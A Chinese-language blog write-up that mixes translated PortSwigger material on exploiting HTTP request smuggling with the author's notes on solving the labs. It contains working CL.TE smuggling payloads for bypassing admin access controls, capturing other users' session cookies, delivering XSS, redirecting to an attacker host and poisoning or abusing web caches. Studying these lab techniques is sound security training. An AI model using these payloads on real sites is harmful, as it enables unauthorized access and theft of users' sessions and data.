上一篇: Finding HTTP request smuggling vulnerabilities - 查找HTTP请求走私漏洞
1.使用HTTP请求走私绕过前端安全控制
在某些应用程序中，前端Web服务器用于实现一些安全控制，决定是否允许处理单个请求。允许的请求被转发到后端服务器，在那里它们被认为是通过前端控件传递的。
例如，假设应用程序使用前端服务器实现访问控制限制，只有在授权用户访问请求URL时才转发请求。然后后端服务器响应每个请求而不进行进一步检查。在这种情况下，HTTP请求走私漏洞可以用来绕过访问控制，方法是将请求走私到受限制的URL。
假设允许当前用户访问/家但不是/管理...他们可以通过下列请求走私攻击绕过这一限制：
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
前端服务器在这里看到两个请求，都是针对/家，因此请求被转发到后端服务器。但是，后端服务器会看到一个用于/家一次请求/管理...它假设(一如既往)请求已通过前端控件，因此授予对受限URL的访问权限。
进入题目后，拦截一个访问主页的请求，发送到Repeater，转换为POST请求，然后加上Transfer-Encoding: chunked请求头,然后加上请求走私攻击代码
如果直接访问/admin是会得到
"Path /admin is blocked"的响应
连发两次后,发现是可以访问/admin的,但是他说
好吧,我当然不是管理员身份,但是我们可以伪造host头
连发两次看看
应该是内存中留下的攻击代码中的host和后来发送的代码中的host重复了,那让后来的请求成为请求体部分
连发两次
嗯,这里看不见
carlos这个用户了,因为我已经做过实验把他删掉了,那我们就删wiener吧现在发一次攻击代码,用浏览器发一次正常请求
确实得到了后台数据了,不知道为啥,好像不太对劲,可能是没加
Content-Type之类的吧,拦截一下delete用户的数据,然后用来做伪造的参考
主要就是
GET /admin/delete?username=wiener HTTP/1.1伪造这一句的
如果直接发送的话,前端的服务器会直接阻断的
还是跟刚才一样,把payload换上, 连发两次,Success!
然后看了一下刚才的用户界面,只剩一个管理员了,删除成功
题目要求和刚才那道题是一样的
既然知道了套路那就直接一步到位,不用去看admin页面了,直接删除
计算chunked长度的时候要这样复制
然后在计算代码里这样粘贴,就是放在第三个双引号后面
连发两次, Success
2.显示前端请求重写
在许多应用程序中，前端服务器在将请求转发到后端服务器之前执行一些请求重写，通常是添加一些附加的请求头。例如，前端服务器可能：
- 终止TLS连接并添加一些标头，描述所使用的协议和密码；
- 添加一个转发包含用户IP地址的报头；
- 根据用户的会话令牌确定用户的ID，并添加标识用户的标头；或
- 添加一些其他攻击感兴趣的敏感信息。
在某些情况下，如果您的走私请求缺少一些通常由前端服务器添加的标题，那么后端服务器可能无法正常地处理请求，从而导致走私请求无法产生预期的效果。
通常有一种简单的方法可以准确地显示前端服务器是如何重写请求的。为此，需要执行以下步骤：
- 在应用程序的响应中找到反映请求参数值的POST请求。
- 对参数进行洗牌，以便反射的参数在消息正文中最后出现。
- 将此请求走私到后端服务器，然后是您想要显示的重写表单的正常请求。
假设应用程序具有一个反映电子邮件参数：
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=wiener@normal-user.net
这就产生了包含以下内容的答复：
<input id="email" value="wiener@normal-user.net" type="text">
在这里，您可以使用以下请求走私攻击来揭示前端服务器执行的重写：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
请求将由前端服务器重写，以包括附加的头，然后后端服务器将处理走私的请求，并将重写的第二个请求视为电子邮件参数。然后，它将在对第二个请求的响应中反映这个值：
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
注意
由于最后的请求正在重写，所以您不知道它结束时有多长的内容长度, 走私请求中的标头将决定后端服务器相信请求的长度。如果设置此值太短，则只收到部分重写请求；如果设置时间过长，后端服务器将超时等待请求完成。当然，解决方案是猜测一个比提交的请求稍大的初始值，然后逐步增加该值以检索更多的信息，直到您获得所有感兴趣的信息。
一旦您揭示了前端服务器是如何重写请求的，您可以将必要的重写应用于您的走私请求，以确保后端服务器以预定的方式处理这些请求。
进入实验就看到了比前面的实验多了一个搜索框，肯定是用来当参数的key的
题目说了，前端服务器不支持TE
那这就是CL.TE的题目了
拦截一个搜索的请求放到Repeater备用，加上
Transfer-Encoding: chunked,伪造攻击请求体
发两次后就可以看到前端服务器添加了那些东西了
X-Hdzckl-Ip: 61.52.168.75
看来进后台是要改这个东西了
发两次就进去了后台了
嗯，为了演示，先burp发个攻击包，然后浏览器访问，拿到页面
拦截delete的包，
其实还是和以前一样的
伪造一下删除的GET请求就好了
成功
跟刚才同样的方法，访问一下/admin，
carlos已经被删除了
3.捕获其他用户的请求
如果应用程序包含允许存储和检索文本数据的任何功能，则可以使用HTTP请求走私来捕获其他用户请求的内容。这些可能包括会话令牌、启用会话劫持攻击或用户提交的其他敏感数据。适当的功能，作为这一攻击的工具将是评论，电子邮件，配置文件描述，屏幕名称等。
要执行攻击，您需要走私一个将数据提交到存储函数的请求，其中包含的参数位于请求中的最后一个位置。由后端服务器处理的下一个请求将被附加到走私请求中，从而存储其他用户的原始请求。
假设应用程序使用以下请求提交博客帖子注释，并将其存储并显示在博客上：
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
您可以执行以下请求走私攻击，将数据存储请求偷运到后端服务器：
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
当后端服务器处理另一个用户的请求时，它将被附加到走私请求中，结果会存储用户的请求，包括受害者用户的会话cookie和任何其他敏感数据：
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...
然后，通过以正常方式检索存储的数据，可以检索其他用户请求的详细信息。
注意
这种技术的一个限制是，它通常只捕获数据，直到适用于走私请求的参数分隔符为止。对于URL编码的表单提交，这将是&字符，意味着从受害者用户的请求中存储的内容将在第一个&，甚至可能出现在查询字符串中。
image.png
用这个payload确实抓到了模拟用户的请求,但是,CL长度没写够,ZZ
发完包大概需要等1分钟吧或者5分钟...,我也不知道具体时间,慢慢试试吧
CSRF token不用每次都换,所以出题人还是比较仁慈的
而且http链接不会过期,所以不用着急
或许是3分钟吧,
最后是CL设为590通过的,哈哈,做了一晚上
中间因为时间太长了,实验关了一次,所以postid Cookie csrf等都换了一次重新做的
4.利用HTTP请求走私利用XSS
如果应用程序易受HTTP请求走私的影响，并且还包含反射XSS，则可以使用请求走私攻击攻击应用程序的其他用户。这种方法在以下两方面优于对反射XSS的正常开发：
- 它不需要与受害用户进行交互。您不需要给他们一个URL并等待他们访问它。只要走私一个包含XSS有效负载的请求，由后端服务器处理的下一个用户的请求就会被击中。
- 它可用于利用在常规反射XSS攻击(如HTTP请求头)中不能被琐碎控制的部分请求中的XSS行为。
例如，假设应用程序在用户代理头球。您可以在请求走私攻击中利用此漏洞，如下所示：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
下一个用户的请求将被附加到走私请求中，他们将在响应中接收反射的XSS有效负载。
发个攻击包,等着就完事了
5.使用HTTP请求走私将现场重定向转换为打开的重定向
许多应用程序在站点上从一个URL重定向到另一个URL，并将主机名从请求的寄主标题进入重定向URL。这方面的一个例子是Apache和IIS Web服务器的默认行为，其中对一个没有尾随斜杠的文件夹的请求将重定向到同一个文件夹，包括尾随斜杠：
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
这种行为通常被认为是无害的，但在请求走私攻击中可以利用它将其他用户重定向到外部域。例如：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
走私的请求将触发对攻击者网站的重定向，这将影响由后端服务器处理的下一个用户的请求。例如：
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
在这里，用户的请求是一个JavaScript文件，该文件是由网站上的一个页面导入的。攻击者可以通过在响应中返回自己的JavaScript来完全危害受害用户。
6.使用HTTP请求走私执行Web缓存中毒
在前一次攻击的变体中，可能会利用HTTP请求走私来执行Web缓存中毒攻击。如果前端基础结构的任何部分执行内容缓存(通常是出于性能原因)，则可能会使用场外重定向响应破坏缓存。这将使攻击持续，影响任何随后请求受影响URL的用户。
在此变体中，攻击者将以下所有内容发送到前端服务器：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
走私的请求到达后端服务器，该服务器与以前一样以场外重定向的方式进行响应。前端服务器根据它认为是第二个请求中的URL缓存这个响应，这个URL是/静态/包含js:
/static/include.js:
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
从这一点开始，当其他用户请求此URL时，他们将接收重定向到攻击者的网站。
题目要求说的一点也不清楚,完全不知道要干啥,
看了一下答案
看完了,还是不知道干啥
又去看了一下别人的解题过程
https://cloud.tencent.com/developer/article/1520026
好吧明白了
打开实验环境
点击这个
Go to exploit server 去打开自己的攻击服务器
改一下内容
burp拦截一个访问实验主页的包,改造成攻击包
第一个POST包,和第二个GET包先后发送,可以刷新实验主页,然后多试试
刷新主页如果弹框了,而且可以多次成功,就代表缓存污染成功
解释一下: 我们发了两个包,一个POST包,一个GET包,前端服务器也是这么认为的,一个是POST给主页的包,一个是访问js的包
但是后端服务器是认识TE的,所以后端服务器认为自己收到了三个包,第一个包是POST给主页的没啥问题,但第二个就是那个我们伪造的
GET /post/next?postId=3 HTTP/1.1 后端服务器返回302跳转,然后响应第三个GET包但第三个包不知道响应给谁,就放在后端服务器的内存里了,这样前端服务器就把我们发的GET js的包缓存成了 302跳转到攻击服务器上去了
7.使用HTTP请求走私执行Web缓存欺骗
在攻击的另一个变体中，您可以利用HTTP请求走私来执行Web缓存欺骗。这类似于Web缓存中毒攻击，但目的不同。
网络缓存中毒和网络缓存欺骗有什么区别？
- 在Web缓存中毒里面，攻击者将导致应用程序在缓存中存储一些恶意内容，并将此内容从缓存提供给其他应用程序用户。
- 在Web缓存欺骗里面，攻击者会导致应用程序在缓存中存储一些属于另一个用户的敏感内容，然后攻击者从缓存中检索此内容。
在此变体中，攻击者走私一个返回某些敏感用户特定内容的请求。例如：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
转发到后端服务器的另一个用户的下一个请求将被附加到走私请求中，包括会话cookie和其他标头。例如：
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
后端服务器以正常方式响应此请求.请求中的URL用于用户的私有消息，请求在受害用户会话的上下文中处理。前端服务器根据它认为是第二个请求中的URL缓存这个响应，这个URL是/静态/某些-Image.png:
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
然后，攻击者访问静态URL并接收从缓存返回的敏感内容。
这里的一个重要警告是，攻击者不知道缓存敏感内容所针对的URL，因为这将是受害者用户在走私请求生效时碰巧请求的URL。攻击者可能需要获取大量静态URL才能发现捕获的内容。
看了一下登陆后看aipkey的请求不需要id也可以
制作一个攻击包
发送,然后等一会,去刷新页面
找到了apikey
